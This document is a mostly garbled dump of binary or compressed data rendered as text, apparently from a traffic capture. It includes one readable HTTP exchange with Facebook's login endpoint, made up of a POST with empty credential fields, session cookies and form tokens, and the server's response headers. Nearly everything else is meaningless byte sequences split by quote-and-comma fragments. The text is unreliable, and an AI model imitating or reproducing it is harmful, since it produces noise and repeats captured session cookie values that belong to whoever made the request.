UW��u,UkU囫L��umˬQ�D��Y6g�e�d2��P��\U��Ji�-kpuE�z�\_�"�IiP�� .+�� }��s��Ϟ��j�Wr��<��1�3��͔��Q��%J}� ��2}YG��fWl�.g��2�O��GXȁv�??9ؐD��'8�jAhi��"Śh��iax��HΎ�!m�ֶE؎R�a�4D/'uq\Љ kXd� ��(�E�t�_��;~�q\з2ྲ�0S��<`��|��:x�'�{�S�M�>��p��5�J�e�@�|,��T�적�!�lHt�L��K�^!x��f�p˱1K�k�KD�1rd�>ٵ�>�t��z��b��\`}�P�eS��1��O��)Ѱ�_��|�p#6h�gAd�9�(_*)�T�=�{Z:x�>��W.%^`y��K�3�]a�#}�X��f�:�{��DJ*��+��ހ)��(WLM��Pf��j�=�R#��3x��r9�VD�T�F�\^.f�y��)�Zx��5��{��M:ǴE+�`L$��jS��/��Op�L�:v�u�", "(��f6T��*�bX��~��ol��d�*߿��+i6��i�F�2��x*D��`�\�)k`dM�\*!%+ĿD�D"'BzX��*qr�[�ۓ/�Xa�[�c�2��[s��X�gFҤ=&�n%}��Ƿl�x�3Ig�W�r��]�i�S�H�C(dR��J.�NM婜/��rYN�i!��e9WHM�X�d��iZAŌ\(�E��u[NJ�g·�wU7_Gժc�I��L��یI\I}�3��a��`(Ȣ�:"�[$�E�>b�PI��:��ƆC(�ݾ��g� ��X��߮'�;��$0�=��v��X�F�:{ހ�F߸�kF"��y��H��b�Ӗ8�8��Oy��n�7_yۓ�nGm�ܑ�m�;�q�&AD��mP��scC��8g�o�l��{Å@�@Ӆ�F�Iw.`�S��,]��Y�`0�V�6{��D{f��}�l.�ܗ�K}9��v�G_��ql��|�ܣ��ad�V�>b��k�\��N�`�l�.�!��cS��!��g֟�d��9D'�,�ul��,��"p��P��//Uy>٭��:r��v�a��?>}8��)�S27��^�>l4��bfl�ֿ�N̤�"�\��!��<�ʋa-_z�pC٧��(��q��6��[��M��0��.F9�w�O#��^I��6��'�k�i��dYn=�n��^d�+q���O��A�vS+T˿~5I�a�ѲA/�x��TP��Ia�>��+^��ER��w��4%�Z�� /;�=�&�ᛏB�ȸI7�I��j��;Ǎ7�mOs5Ǥ��n�^&j6xIG_��@b&��K:��֫�᫠�T�Mbp�z�9�?�*(�k�lA�a��ڼ��o:��"��>��I��h��|��@��Oۖ��"�F��%}�~O�bR��v*�� (��@�m��1s�;(|��2Lc��c"C��+��s$�2��$Tj��O��&��܁ež��o�Gwo�^M��';\�Td�T\C6��D��d�q��#M��υ엸jS��:լ��g)N�R��I��U�Ɛ�ck,d�>��6�;�k�?��=b�)|Ym��b��.��T6W��ʹr>'l�h��", "79c�]ms�6�/��E$�׎-;w��/�M��IX�%�*@%V=��gA�� 'i?��[� ��,��N��)��>�iaW�Q��ܓ�c�U�x4�*7q��Y�N�ݭ��/��$W+Y��i9ɪ�Ϭ��c��bY�3ˡ��-�e��8C��=4��k>��(��:~>��&��wo�Ɨ�ǳ��k>7��T)uQ5e�eQ'u��^�c;0��v��q�[�5!�&8�1U��+��T��J>��p��L]l4Kc~T^�☷RRY�)��Zɕ��1J�Y;��X��pթq�%Vl3!��I��⩁�z�pH�ɥD�U:OJ��`V#농{"F�2u��X�{8*��u��˱��l�u;�*W�C[ag��tr��^�_f�R�\K�6~pX-S��0Ju��fX��Q��Q�z��J�>)��0D#��E�G��s�si��Dgq��;��P|��C!\�=�O��|<�"�_��/��nnu�闿"O�喂�|�GD��C�e>;<�Wg�&�ɇKR��|6��o�ɵ�Iֻ��ͻ�G��w0��0vV��7[��9�*�pi�X,T��VJg�M�*�D!��^��Y(�<��}&躑0�r=W6o��E�.��҉QRg�D�r��1J��jS�*��.l�G�IZK�߳��X9�t��׉]�-N�'%0��0QO��l4��h��J_�V{�+��H�@�=%��ժmE�9�Ʊ�P~;ݐ��9��zq�̼�,�$��:i��bG��#Y�Qu�.F��Ca1dP��I�Tc�\�2[��V�+��z�+UE9;��o��f��;��*� ��H(Ln_S*��ucGJ��1e[n'��Yk�!�}z7��"h]i9SWUi�OK��b��F�3��i�Y��ֺB�d��f��_��]��[�Bnp">��pRǴ��:썞B�B2�X�զ��9<�'��8q�c£N��u��:d�l�У��E�K%��,!��B5�ӿ��WY^�=O��ݓOV+��V�#5UXƂ�G�|�w^4,D8��0F��\W��V��?�_18��v��ĸ��7t��Y��<��!��;]4��I��&��N�щE�G<�糏N��K� tÐ�� E��I�Oz}��G�be��k�)��~C�g!��6d�#��-9$R`��{��}�듽��d�G��C��I�OV�e Gd�a�=��!;Ͻ��9�!7q��C.��X�a��*u��<6O�4��l�~J�i��"��ǎ�;��/��z��\�Z��7��=@|:��x{A��.�"R��?i�F��\�'O�P�l6�S�'�y]�ln{H��H8F��;��" "Ă#��.ou��l;�7��G��[�FÓ��C@s|>��F��ٵ[��v�vwvP�E��#\H��^��

��ؼ��;F��z^m��\e3yx�L�"��ڀ#�&��ԝ_�?��s��q��T��3��>��f��}��Y9k�`9[��̳!}�b��K�M��-X�~�z�L/��k��\��a1��*��˗oV�e��N�F;e��s�.�o��e��W��)��*رg�AZ��P��0", "POST /login/device-based/regular/login/?login_attempt=1&lwv=100 HTTP/1.1Accept: text/html application/xhtml+xml */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept-Encoding: gzip deflateHost: www.facebook.comContent-Length: 391DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: fr=0phoI55IRR3T6z1Ek..BlMlaL.EW.AAA.0.0.BlMlaL.AWUCwy0cV6k; sb=i1YyZei-mbh0_vkuP5fDs_KU; _js_datr=i1YyZb3hEbJ6k5QPmB0etjWHjazoest=2962&lsd=AVrCm8DhcqQ&display=&isprivate=&return_session=&skip_api_login=&signed_next=&trynum=1&timezone=&lgndim=eyJ3IjoxMjgwLCJoIjo4MDAsImF3IjoxMjgwLCJhaCI6NzYwLCJjIjoyNH0%3D&lgnrnd=032931_Qq4C&lgnjs=n&email=&pass=&login=1&prefill_contact_point=&prefill_source=&prefill_type=&first_prefill_source=&first_prefill_type=&had_cp_prefilled=false&had_password_prefilled=false&ab_test_data=", "HTTP/1.1 200 OKVary: Accept-EncodingContent-Encoding: gzipp3p: CP="Facebook has no P3P policy fb.me/p3p"Set-Cookie: datr=i1YyZb3hEbJ6k5QPmB0etjWH; expires=Sat 23-Nov-2024 10:30:04 GMT; Max-Age=34560000; path=/; domain=.facebook.com; secure; httponlySet-Cookie: _js_datr=deleted; expires=Thu 01-Jan-1970 00:00:01 GMT; Max-Age=-1697797803; path=/; domain=.facebook.com; httponlySet-Cookie: fr=0phoI55IRR3T6z1Ek..BlMlaL.EW.AAA.0.0.BlMlas.AWU5F6-zKCU; expires=Thu 18-Jan-2024 10:30:04 GMT; Max-Age=7776000; path=/; domain=.facebook.com; secure; httponlyreporting-endpoints: default="https://www.facebook.com/ajax/browser_error_reports/?device_level=unknown"report-to: {"max_age":259200 "endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/?device_level=unknown"}]}content-security-policy: default-src data: blob: 'self' https://*.fbsbx.com 'unsafe-inline' *.facebook.com *.fbcdn.net 'unsafe-eval';script-src *.facebook.com *.fbcdn.net *.facebook.net *.google-analytics.com *.google.com 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net 'unsafe-eval';style-src fonts.googleapis.com *.fbcdn.net data: *.facebook.com 'unsafe-inline';connect-src *.facebook.com facebook.com *.fbcdn.net *.facebook.net wss://*.facebook.com:* wss://*.whatsapp.com:* wss://*.fbcdn.net attachment.fbsbx.com ws://localhost:* blob: *.cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss", "://kaios-d.facebook.com/ v.whatsapp.net *.fbsbx.com *.fb.com;font-src data: *.gstatic.com *.facebook.com *.fbcdn.net *.fbsbx.com;img-src *.fbcdn.net *.facebook.com data: https://*.fbsbx.com *.tenor.co media.tenor.com facebook.com *.cdninstagram.com fbsbx.com fbcdn.net *.giphy.com connect.facebook.net *.carriersignal.info blob: android-webview-video-poster: googleads.g.doubleclick.net www.googleadservices.com *.whatsapp.net *.fb.com *.oculuscdn.com;media-src *.cdninstagram.com blob: *.fbcdn.net *.fbsbx.com www.facebook.com *.facebook.com https://*.giphy.com data:;frame-src *.doubleclick.net *.google.com *.facebook.com www.googleadservices.com *.fbsbx.com fbsbx.com data: www.instagram.com *.fbcdn.net https://paywithmybank.com https://sandbox.paywithmybank.com;worker-src blob: *.facebook.com data:;block-all-mixed-content;upgrade-insecure-requests;document-policy: force-load-at-toppermissions-policy: accelerometer=() ambient-light-sensor=() bluetooth=() camera=(self) geolocation=(self) gyroscope=() hid=() idle-detection=() magnetometer=() microphone=(self) midi=() payment=() screen-wake-lock=() serial=() usb=()cross-origin-resource-policy: same-origincross-origin-opener-policy: unsafe-nonePragma: no-cacheCache-Control: private no-cache no-store must-revalidateExpires: Sat 01 Jan 2000 00:00:00 GMTX-Content-Type-Options: nosniffX-XSS-Protection: 0X-Frame-Options: DENYStrict-Transport-Security: max-age=15552000; preloadContent-Type: text/htm", "l; charset="utf-8"X-FB-Debug: qsbH/JgJVFnH5X+WvoEG4Bsd7+KUPlfD29/NMxG/GElYzEPvCnv7KzBfdHAUFIYta2kzDerQ7o+OPENWHoYOLg==Date: Fri 20 Oct 2023 10:30:05 GMTAlt-Svc: h3=":443"; ma=86400Transfer-Encoding: chunkedConnection: keep-alive2dd1�̽[o#K� ��S3g�ڏ�wR�x%��x%�zɪ V�ŪRV/�O�<0`�O��0��ӌ��l��`��ٷ�bl�0"�n��9�^$V�"2"22222??u��^=�9��?��tdL�l1��*��4�BL֑m��)�lc�|�e��5Dm��&�B,�h��UL)�BL6ι�`��A@Q),��-Sb91�4d|.ܨ(��G�5d��Fˆ��t�%H�|��|QM�a�hL�#�N&��eE�\�R��y��~҇OB�X�㓓�^v�X��?��//�I$��%��xH]��pca[8S�n�@�hr[&u��Z[�cα!��;-]͗��hz=�LWs!.P�0�X�0��#'�o;H�KE2�t� �p��C�։�+��b: �X8ˉ�l�\I�X"J��H�MӠA�\Xȑ�J�"��M�4�j�X�T�j��-@�7.��^嗓�Ir��>��yH��ش�QC� �P��yrڒ��R�S�6;�aW*wjRK��ԩ�kҸ^ܴ�C�I\�+'_x��e^~>�6u��Ѩ��x�Sj�'//��䃣{��F��]�%�2^��$�귒t.F�2L�Z��X�%`�Zd|�?�F��yR7��H*xId��~(I��+�'!��9O�5ZX?��yJ�oI�H>��T�(G��mŰ��bE��81�v�1cs��k�V��b*%�P쯷j;�:.�#�&�^�s?R~EG;O�3��&S�9/��p��o��3bB�p)9O�j��g"�d��NB��D��4��>%��mCc{�11�_��j��>T̓��1�.{PU�5��9$:nA�\~�Y2i;�!��z}�Nd�85��6�O-�J.3��"I��9�d��^l�Z��8��/3�\��'V��@Q��͢��N�Q�v�s%�4��s!� %��I!&SӶMJ��8��*!S�`�!H��!��Y��!|��4F��/IVn��Z��F��0�٠��ĘƐ�@y�|��1]��xLE�o⬤�MK�P 67��iHM��\0�g6q�tTmU��>�W�թo��m:�к)#=�*6��`��22L��H��{��pU6ҿ[��"��$iRk�/Sͦ�/��t6>�v��m", "��lc� �`)%��g2�L��Ҳ_�Oe��U2di}ޚe�VQ�殞�wbb��n"ӄ�l�\�J��~,��o�&��Y�卍ӵ��lҧ֤��h�E��vg�^��j��MB�v��Ѥ4��N��>�}h��O�!�$��t�G�ٿʴ��ܥ��C�)��7��VM��ջj�R�>4��)G�L5z�Q�jZ��+�T��V��7�m*�$M�;w0)8z8�}��?]��`m`�Wd{i|�l\��0>ǃe��TC��_Y�X��/B��)��i�I��T\��K\��T1�-��,%[,�r~�ȗ��&_�3V��Z�ױ@��pu�%.�b:��~�T*�/dJ٣��B&'�G��q�R�|&�=�Z1W�S_/��pH��OP��r�r��6g�d��&h-,]�L��^��ܓ/`�~89%@�*1�p��XdK��r&(Ͷ�"��ͬѹ�UH�g7�K<�M}��U�P�ԫ<'��$��>��QEj��c��r�z!ąq��k��u��{iX�J��V�ީ֥~��[��*�A�S�V�5��Vǭ!4�n��R��m��h�f�܃�!�!�{=�<��zM��ԩ��r��z��軫��wk��P��v��~�\)�^��W�R�>�^H�nw0�פj��;C��R�6��zy��v��l�J��u�3hu;��^K��z_ju�Q��-פZ��i��K�~wԓ*�R�Z�AZ5�=ꔯ��g�#ݶ��@��@��{�zՇm�ˍ�T�+�4��T��Nw��m�ݪ�5�^�_֥��`PnU��ruغm�^�Y�z��@��rE�ԇ�D#pk��`��V��C��"�2j�v�e�r�k��n�Zԫ�~dt ]�[�J��Pw��j��G�VF��u�߬K�n�-5��V��W��F��T/�!@�z�&��{�*p�\��A�/]��$w�ng��j=H�N�{'��=iԓ��)߶��ReԔ�;!.Ի�.��uN�j��UK��J��a�{ei�g��>7� �n�z ��7#X3�MƔa�)u�R��V�f�]��>�ą��t2]��4��#ąb� ��t�`q��趞M;w�fg��y�ˬ�3x�v(��OiQ��D??)OL�t܅p��N�␋6ѱ��\+ln��p��AKS�F�5q��c�j�P�Z8K��"��!Gk��S��H�`�q�cDu?��}�n��:�Q��p&T��L��Ie�3u�a��z��S��B�\�~`C.��_�lYl6q��b>˒�/��E��NtI&��Y�}8F�n:y��u!�A��j�5�%�ޭ��1eQlcf۳R�\)�۰U��"�MX��ą�Ōy`C��W~Ra�K�d��8f�c�6��B�BL��ldxV��5��/�l�)T�d�Xj��'��ENӧ��xR�.T!4�Z�y�oVI��"��g��1�x�U��w�|��`��dy��gO�dXB�P[��&൅)Հt��*̜GZ!��Z��l�E!]J��y1[��91��%l��fB�]y� �D��r�Qgӹ='�Di��3�$l,�31.�&�9��V%��A��%�K1�-�[6��w��N�3��(^Җi�Ă�NS�ӂx�Ƀx��X�s�݌L��R�ug�=��ls�"C1,��M�3�@`Ԅ�?��ˎK@V(^V��[��J1��a� S�;��ܼ��T*��Wjd�%��ؘ�OR;�Ar�C�9�I�P��,Tlb?#", "�X$u��%��G��b��F%�>�Nk��An^y�\�V�Whc�!!Y^YX��o�S[iŵ��mx��K��E?��6t(��`��$�]s��g�s2�,�@D�?TBmǓ:�B,�� m}XM@z0��I��Hn˟�_�_7L-Jl��"��eQٌ�{ޱ��{�:��i��U�F�qd-l%�ѵ��U�e��)E�?̢̡�Jt,YD�`�ܧlЕ�J{�2H��UC7WA�:��~=�+�Q�-!ŖT�`0��6XW��K�dhh��l�ᡷ��H`��I�A��`E�&,��&'��'��t>�,��k��)1�[�YVK�7��"hb��-��6ZX:�0#�h��g�$�l�0]ZԜa٩�f��<34��-Х~[�w�`��:��s)��^��]��I�D��_�6M�4_��gj�tZ�X�iU�,%�p�:q"��)`��K<��lZ`6�2�L��}L%/�I�5p�xs(4�Wp�Q�D|k��Ɛ�)v�PH��r�8#J:+}�b��q\J@hea��0��y�w�cY'��3d��6��r`8��/eJ�S�i��V�sU>��SG₎5N-d86�S.I(�#CY :�5ӲO��Y��ӕi�A�u��%M�S0*�1M��K��3RP��z��c�?�5ô��R<;�Jd�`�t��b��L\�a/�.��A&�<5�?�[3��̜p�_�b��O�^D�i0�⎲��9�gB��[<��DO��)뎅6��@��~9�p�� s�aE�"��p��"e�#�"��lYm$��6.�PXp+SGN��}�e�b^{7/��u�^��ݤO'��K�4��C�G�P��m�M5q��՘�}��,�'R0S��~k˪�`zLB8�c2��W}L��"��i�X��vF�a�1��qL!�GM�c��v�f�9��P�}�;�:>X��%^��V��9r��A��5:؁�f'�o�vo``�C1Z�gh��f��1q�l�9��g1�A��!�N|��3�m��[X��\�i�aBt��c�_�ڀ�?&��cR8>|:��ů��?�͉��n�_��l�8;̃ꏮ(��ǿ�K1S��=��k��U��^��cR�*}��??�?X�Z"��ԥ��P��5��20�O8m��3�K�PHC}��Ihw��d��Ւ��yڐ��anAj#1jdJ�aҡf�62;R5��J��$l*s�Y� �4��Z|�f`�*�Pg+&�к��0:R�2u"o��J9��R��J^��H?��RVB�u�%K�^Iv-E@�xm��`�h�cN�:~L��.�Wrw�J��͵�lյ��Em��P:�I�4�\M��ԝr��;J ��ْB�nN%�mӥ2��^J$�ؖ��P�(�3��7�C#��c�篫-�e,��A��jݲ�h�,��V��^��h<��1I��nڻ\��:��0.RB� 2��Z>��d��a�n��f=gI��crK� ��pG`�O��$�{��p�y8UF�L%Ow��:^3��L��"S��|'��vHC0]�iMo�x��J8�}M3��C�`c B7�iH��0'��d��b:&��I%{�J1��iF�ډ�,��),�EHЍ϶��\�A�׬�my�>��"Xq��o��;l��*��tSC�Li�]��]�ƺ��|�(�I�T�U^��p�ΰɖ��j,,��{��-1��f�M��c'H�� I��5�ltл3��HڄPGS�FҰnEң��O2�N� �dB��śOL�(م�=��d�9AzX�V:��j��q�,_&nH�H�7�e�ͽ��3D�O��ZE7305&ݯi�T��=�{��'�f�؆��r��V�4�x�i��~!f��3��c�@˽"�E�t7�5�c�,�z+�F�yQd)��